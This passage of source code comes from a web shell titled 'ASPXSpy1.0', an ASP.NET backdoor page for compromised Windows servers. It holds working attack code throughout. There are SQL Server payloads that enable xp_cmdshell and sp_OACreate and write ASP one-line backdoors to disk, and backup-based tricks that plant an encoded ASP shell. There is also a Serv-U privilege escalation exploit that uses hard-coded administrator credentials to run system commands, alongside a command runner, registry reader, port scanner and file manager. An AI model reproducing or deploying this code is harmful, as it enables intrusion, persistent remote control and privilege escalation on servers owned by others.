  890. public void Item_Command(object sender, DataGridCommandEventArgs e)
  891. {
  892. if (e.CommandName == "Cancel")
  893. {
  894. Bin_DataGrid.EditItemIndex = -1;
  895. Bin_Databind();
  896. }
  897. }
  898.  
  899. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  900. {
  901. try
  902. {
  903.  
  904. Bin_Scroll.Visible = true;
  905. Bin_DataGrid.Visible = true;
  906. Bin_DataGrid.AllowPaging = true;
  907. Bin_Accbind();
  908. if (Bin_SQLRadioButton.Checked)
  909. {
  910. Bin_DBmenuPanel.Visible = true;
  911. }
  912. string sqlstr = Bin_DBstrTextBox.Text;
  913. sqlstr = sqlstr.TrimStart().ToLower();
  914. if (sqlstr.Substring(0, 6) == "select")
  915. {
  916. DataTable databind = Bin_DataTable(sqlstr);
  917. Bin_DataGrid.DataSource = databind;
  918. Bin_DataGrid.DataBind();
  919. }
  920. else
  921. {
  922. Bin_ExecSql(sqlstr);
  923. Bin_Databind();
  924. }
  925. }
  926. catch(Exception error)
  927. {
  928. Bin_Error(error.Message);
  929. }
  930. }
  931.  
  932. protected void Bin_BDButton_Click(object sender, EventArgs e)
  933. {
  934. Bin_DBinfoLabel.Visible = false;
  935. Bin_Accbind();
  936. Bin_DBmenuPanel.Visible = true;
  937. Bin_DataGrid.Visible = false;
  938. Bin_DataGrid.AllowPaging = true;
  939. Bin_Scroll.Visible = false;
  940. Bin_DBstrTextBox.Text = "";
  941. Bin_SAexecButton.Visible = false;
  942. Bin_ResLabel.Visible = false;
  943. Bin_dirPanel.Visible = false;
  944.  
  945. }
  946.  
  947. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  948. {
  949. Bin_DBinfoLabel.Visible = false;
  950. Bin_DataGrid.Visible = false;
  951. Bin_Scroll.Visible = false;
  952. Bin_SAexecButton.Visible = true;
  953. Bin_Change();
  954. Bin_ExecButton.Visible = false;
  955. Bin_ResLabel.Visible = false;
  956. Session["Bin_Option"] = null;
  957. Bin_dirPanel.Visible = false;
  958.  
  959. }
  960. public void Bin_Change()
  961. {
  962. Bin_ExecButton.Visible = false;
  963. string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  964. if (Session["Bin_Option"] != null)
  965. {
  966. select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  967. }
  968. select += "</select>";
  969. Bin_AccinfoLabel.Text = select;
  970. Bin_DataGrid.Visible = false;
  971. Bin_Scroll.Visible = false;
  972. }
  973.  
  974. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  975. {
  976. try
  977. {
  978. Bin_Change();
  979. Bin_DBinfoLabel.Visible = false;
  980. Bin_ExecButton.Visible = false;
  981. Bin_Scroll.Visible = false;
  982. Bin_DataGrid.Visible = false;
  983. Bin_DBmenuPanel.Visible = true;
  984. string sqlstr = Bin_DBstrTextBox.Text;
  985. DataTable databind = Bin_DataTable(sqlstr);
  986. string res = "";
  987. foreach (DataRow dr in databind.Rows)
  988. {
  989. for (int i = 0; i < databind.Columns.Count; i++)
  990. {
  991. res += dr[i] + "\r";
  992. }
  993. }
  994. Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  995.  
  996.  
  997. }
  998. catch (Exception error)
  999. {
  1000. Bin_Error(error.Message);
  1001. }
  1002.  
  1003. }
  1004.  
  1005. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1006. {
  1007. Bin_dirPanel.Visible = true;
  1008. Bin_AccPanel.Visible = false;
  1009. Bin_DBinfoLabel.Visible = false;
  1010. Bin_DataGrid.Visible = false;
  1011. Bin_Scroll.Visible = false;
  1012. }
  1013.  
  1014. protected void Bin_listButton_Click(object sender, EventArgs e)
  1015. {
  1016. Bin_dirPanel.Visible = true;
  1017. Bin_AccPanel.Visible = false;
  1018. Bin_DBinfoLabel.Visible = false;
  1019. Bin_SqlDir();
  1020. }
  1021. public void Bin_SqlDir()
  1022. {
  1023. try
  1024. {
  1025. Bin_DataGrid.Visible = true;
  1026. Bin_Scroll.Visible = true;
  1027. Bin_DataGrid.AllowPaging = false;
  1028. string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1029. Bin_ExecSql(exesql);
  1030. DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1031. Bin_DataGrid.DataSource = sql_dir;
  1032. Bin_DataGrid.DataBind();
  1033. }
  1034. catch (Exception e)
  1035. {
  1036. Bin_Error(e.Message);
  1037. }
  1038. }
  1039.  
  1040. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1041. {
  1042. Bin_CmdPanel.Visible = false;
  1043. Bin_SQLPanel.Visible = false;
  1044. Bin_SuPanel.Visible = true;
  1045. Bin_IISPanel.Visible = false;
  1046. Bin_SuresLabel.Text = "";
  1047. Bin_LoginPanel.Visible = false;
  1048. Bin_RegPanel.Visible = false;
  1049. Bin_PortPanel.Visible = false;
  1050. }
  1051.  
  1052. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1053. {
  1054. Bin_DBinfoLabel.Visible = false;
  1055. Bin_AccPanel.Visible = false;
  1056. Bin_BakDB();
  1057. }
  1058. public void Bin_BakDB()
  1059. {
  1060. string path = Bin_DirTextBox.Text.Trim();
  1061. if (path.Substring(path.Length - 1, 1) == @"\")
  1062. {
  1063. path = path + "bin.asp";
  1064. }
  1065. else
  1066. {
  1067. path = path + @"\bin.asp";
  1068. }
  1069. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1070. Bin_ExecSql(sql);
  1071. Bin_SqlDir();
  1072. }
  1073. public void Bin_BakLog()
  1074. {
  1075. string path = Bin_DirTextBox.Text.Trim();
  1076. if (path.Substring(path.Length - 1, 1) == @"\")
  1077. {
  1078. path = path + "bin.asp";
  1079. }
  1080. else
  1081. {
  1082. path = path + @"\bin.asp";
  1083. }
  1084. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1085. Bin_ExecSql(sql);
  1086. Bin_SqlDir();
  1087. }
  1088.  
  1089. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1090. {
  1091. Bin_DBinfoLabel.Visible = false;
  1092. Bin_AccPanel.Visible = false;
  1093. Bin_BakLog();
  1094. }
  1095.  
  1096. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1097. {
  1098. string Result = "";
  1099. string user = Bin_SunameTextBox.Text;
  1100. string pass = Bin_SupassTextBox.Text;
  1101. int port = Int32.Parse(Bin_SuportTextBox.Text);
  1102. string cmd = Bin_SucmdTextBox.Text;
  1103. string loginuser = "user " + user + "\r\n";
  1104. string loginpass = "pass " + pass + "\r\n";
  1105. string site = "SITE MAINTENANCE\r\n";
  1106. string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1107. string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1108. string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1109. string quite = "QUIT\r\n";
  1110. try
  1111. {
  1112. TcpClient tcp = new TcpClient("127.0.0.1", port);
  1113. tcp.ReceiveBufferSize = 1024;
  1114. NetworkStream NS = tcp.GetStream();
  1115. Result = Rev(NS);
  1116. Result += Send(NS, loginuser);
  1117. Result += Rev(NS);
  1118. Result += Send(NS, loginpass);
  1119. Result += Rev(NS);
  1120. Result += Send(NS, site);
  1121. Result += Rev(NS);
  1122. Result += Send(NS, deldomain);
  1123. Result += Rev(NS);
  1124. Result += Send(NS, setdomain);
  1125. Result += Rev(NS);
  1126. Result += Send(NS, newdomain);
  1127. Result += Rev(NS);
  1128. TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1129. NetworkStream NS1 = tcp1.GetStream();
  1130. Result += Rev(NS1);
  1131. Result += Send(NS1, "user bin\r\n");
  1132. Result += Rev(NS1);
  1133. Result += Send(NS1, "pass binftp\r\n");
  1134. Result += Rev(NS1);
  1135. Result += Send(NS1, "site exec " + cmd + "\r\n");
  1136. Result += Rev(NS1);
  1137. tcp1.Close();
  1138. Result += Send(NS, deldomain);
  1139. Result += Rev(NS);
  1140. Result += Send(NS, quite);
  1141. Result += Rev(NS);
  1142. tcp.Close();
  1143. }
  1144. catch (Exception error)
  1145. {
  1146. Bin_Error(error.Message);
  1147. }
  1148. Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1149.  
  1150.  
  1151. }
  1152. protected string Rev(NetworkStream instream)
  1153. {
  1154. string Restr = "";
  1155. if (instream.CanRead)
  1156. {
  1157. byte[] buffer = new byte[1024];
  1158. instream.Read(buffer, 0, buffer.Length);
  1159. Restr = Encoding.ASCII.GetString(buffer);
  1160. }
  1161. return "<font color = red>" + Restr + "</font><br>";
  1162.  
  1163. }
  1164. protected string Send(NetworkStream instream,string Sendstr)
  1165. {
  1166. if (instream.CanWrite)
  1167. {
  1168. byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1169. instream.Write(buffer, 0, buffer.Length);
  1170. }
  1171. return "<font color = blue>" + Sendstr + "</font><br>";
  1172. }
  1173. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1174. {
  1175. Bin_LoginPanel.Visible = false;
  1176. Bin_MainPanel.Visible = false;
  1177. Bin_MenuPanel.Visible = true;
  1178. Bin_FilePanel.Visible = false;
  1179. Bin_CmdPanel.Visible = false;
  1180. Bin_SQLPanel.Visible = false;
  1181. Bin_SuPanel.Visible = false;
  1182. Bin_IISPanel.Visible = true;
  1183. Bin_RegPanel.Visible = false;
  1184. Bin_PortPanel.Visible = false;
  1185. Bin_iisLabel.Text = Bin_iisinfo();
  1186.  
  1187. }
  1188.  
  1189. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1190. {
  1191. Bin_MenuPanel.Visible = true;
  1192. Bin_LoginPanel.Visible = false;
  1193. Bin_CmdPanel.Visible = false;
  1194. Bin_SQLPanel.Visible = false;
  1195. Bin_SuPanel.Visible = false;
  1196. Bin_IISPanel.Visible = false;
  1197. Bin_RegPanel.Visible = false;
  1198. Bin_PortPanel.Visible = true;
  1199. Bin_ScanresLabel.Text = "";
  1200. }
  1201.  
  1202. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1203. {
  1204. Bin_MenuPanel.Visible = true;
  1205. Bin_LoginPanel.Visible = false;
  1206. Bin_CmdPanel.Visible = false;
  1207. Bin_SQLPanel.Visible = false;
  1208. Bin_SuPanel.Visible = false;
  1209. Bin_IISPanel.Visible = false;
  1210. Bin_RegPanel.Visible = true;
  1211. Bin_PortPanel.Visible = false;
  1212. Bin_RegresLabel.Text = "";
  1213.  
  1214. }
  1215.  
  1216. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1217. {
  1218. try
  1219. {
  1220. string regkey = Bin_KeyTextBox.Text;
  1221. string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1222. RegistryKey rk = null;
  1223. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1224. {
  1225. rk = Registry.LocalMachine.OpenSubKey(subkey);
  1226. }
  1227. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1228. {
  1229. rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1230. }
  1231. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1232. {
  1233. rk = Registry.CurrentUser.OpenSubKey(subkey);
  1234. }
  1235. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1236. {
  1237. rk = Registry.Users.OpenSubKey(subkey);
  1238. }
  1239. if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1240. {
  1241. rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1242. }
  1243.  
  1244. Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1245. }
  1246. catch (Exception error)
  1247. {
  1248. Bin_Error(error.Message);
  1249. }
  1250. }
  1251.  
  1252. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1253. {
  1254. try
  1255. {
  1256. string res = "";
  1257. string[] port = Bin_PortsTextBox.Text.Split(',');
  1258. for (int i = 0; i < port.Length; i++)
  1259. {
  1260. res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1261. }
  1262. Bin_ScanresLabel.Text = "<hr>" + res;
  1263. }
  1264. catch (Exception error)
  1265. {
  1266. Bin_Error(error.Message);
  1267. }
  1268. }
  1269. protected string Bin_Scan(string ip, int port)
  1270. {
  1271.  
  1272. string scanres = "";
  1273. TcpClient tcp = new TcpClient();
  1274. tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1275. try
  1276. {
  1277. tcp.Connect(ip, port);
  1278. tcp.Close();
  1279. scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1280. }
  1281. catch (SocketException e)
  1282. {
  1283. scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1284. }
  1285. return scanres;
  1286. }
  1287. </script>
  1288. <html xmlns="http://www.w3.org/1999/xhtml" >
  1289. <head runat="server">
  1290. <title>ASPXSpy1.0 -> Bin:)</title>
  1291. <style type="text/css">
  1292. A:link {
  1293. COLOR:#000000; TEXT-DECORATION:None
  1294. }
  1295. A:visited {
  1296. COLOR:#000000; TEXT-DECORATION:None
  1297. }
  1298. A:active {
  1299. COLOR:#000000; TEXT-DECORATION:None
  1300. }
  1301. A:hover {
  1302. COLOR:#000000; TEXT-DECORATION:underline
  1303. }
  1304. BODY {
  1305. FONT-SIZE: 9pt;
  1306. FONT-FAMILY: "Courier New";
  1307. }
  1308. #nei {
  1309. width:500px;
  1310. margin:0px auto;
  1311.  
  1312. overflow:hidden
  1313. }
  1314. #su {
  1315. width:300px;
  1316. margin:0px auto;
  1317.  
  1318. overflow:hidden
  1319. }
  1320. #cmd {
  1321. width:500px;
  1322. margin:0px auto;
  1323.  
  1324. overflow:hidden
  1325. }
  1326. </style>
  1327. <script type="text/javascript" language="javascript" >
  1328. function Command(cmd, str)
  1329. {
  1330. var strTmp = str;
  1331. var frm = document.forms[0];
  1332. if(cmd == 'del')
  1333. {
  1334. if(confirm('Del It ?'))
  1335. {
  1336. frm.todo.value = str;
  1337. frm.goaction.value = cmd;
  1338. frm.submit();
  1339. }
  1340. else return;
  1341. }
  1342. if (cmd == 'change')
  1343. {
  1344. frm.todo.value = str;
  1345. frm.goaction.value = cmd;
  1346. frm.submit();
  1347. }
  1348. if (cmd == 'down')
  1349. {
  1350. frm.todo.value = str;
  1351. frm.goaction.value = cmd;
  1352. frm.submit();
  1353. }
  1354. if (cmd == 'showatt')
  1355. {
  1356. frm.todo.value = str;
  1357. frm.goaction.value = cmd;
  1358. frm.submit();
  1359. }
  1360. if (cmd == 'edit')
  1361. {
  1362. frm.todo.value = str;
  1363. frm.goaction.value = cmd;
  1364. frm.submit();
  1365. }
  1366. if (cmd == 'deldir')
  1367. {
  1368. if(confirm('Del It ?'))
  1369. {
  1370. frm.todo.value = str;
  1371. frm.goaction.value = cmd;
  1372. frm.submit();
  1373. }
  1374. else return;
  1375. }
  1376. if(cmd == 'rename' )
  1377. {
  1378. frm.goaction.value = cmd;
  1379. frm.todo.value = str + ',';
  1380. str = prompt('Please input new filename:', strTmp);
  1381. if(str && (strTmp != str))
  1382. {
  1383. frm.todo.value += str;
  1384. frm.submit();
  1385. }
  1386. else return;
  1387. }
  1388. if(cmd == 'renamedir' )
  1389. {
  1390. frm.goaction.value = cmd;
  1391. frm.todo.value = str + ',';
  1392. str = prompt('Please input new foldername:', strTmp);
  1393. if(str && (strTmp != str))
  1394. {
  1395. frm.todo.value += str;
  1396. frm.submit();
  1397. }
  1398. else return;
  1399. }
  1400. if (cmd == 'postdata')
  1401. {
  1402. frm.todo.value = str.value;
  1403. frm.goaction.value = cmd;
  1404. frm.submit();
  1405. }
  1406. if (cmd == 'changedata')
  1407. {
  1408. frm.todo.value = str.value;
  1409. frm.intext.value = str.options[str.selectedIndex].innerText
  1410. frm.goaction.value = cmd;
  1411. frm.submit();
  1412. }
  1413. }
  1414.  
  1415. </script>
  1416. </head>
  1417. <body>
  1418. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1419. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1420. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1421. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1422. Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1423. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1424. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1425. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1426. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1427. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1428. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1429. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1430. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1431. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1432. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1433. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1434. <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1435. <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1436. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1437. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1438. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1439. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1440. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1441. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1442. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1443. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1444. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1445. <br />
  1446. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1447. &nbsp;
  1448. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1449. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1450. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1451. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1452. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1453. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1454. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1455. FileName :
  1456. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1457. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1458. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1459. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1460. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1461. <br />
  1462. CreationTime :
  1463. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1464. LastWriteTime :
  1465. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1466. LastAccessTime :
  1467. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1468. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1469. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1470. <hr />
  1471. </asp:Panel></div>
  1472. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1473. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1474. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1475. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1476. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1477. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1478. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1479. Argument :
  1480. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1481. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1482. <div style="text-align: left">
  1483. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1484. <hr /></asp:Panel>
  1485. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1486. <hr />
  1487. ConnString :
  1488. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1489. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1490. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1491. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1492. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1493. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1494. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1495. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1496. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1497. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1498. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1499. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1500. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1501. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1502. <div style="text-align:left">
  1503. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1504. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1505. Path :
  1506. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1507. <br />
  1508. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1509. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1510. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1511. <br /><br />
  1512. <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
  1513. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1514. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1515. </asp:DataGrid></div>
  1516. </asp:Panel>
  1517. <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1518. <hr />
  1519. Name :
  1520. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1521. Pass :
  1522. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1523. Port :
  1524. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1525. CMD :
  1526. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1527. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
